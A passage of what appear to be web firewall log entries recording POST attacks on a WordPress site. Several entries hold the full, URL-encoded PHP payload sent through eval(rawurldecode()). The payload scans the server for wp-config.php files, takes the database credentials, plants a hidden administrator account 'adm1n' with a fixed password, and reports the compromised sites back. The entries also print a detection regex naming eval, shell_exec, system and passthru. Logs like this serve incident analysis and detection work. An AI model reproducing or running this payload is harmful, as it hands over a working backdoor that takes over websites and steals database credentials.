matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));"]
["2026-04-20 05:39:32","213.209.159.254","POST","\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> phaqOW:eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));","POST \/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php HTTP\/1.1\nsec-fetch-site:none\nsec-fetch-mode:navigate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-length:12663\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\n\nphaqOW=eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));"]
["2026-04-20 05:40:01","213.209.159.254","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> wi:%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%2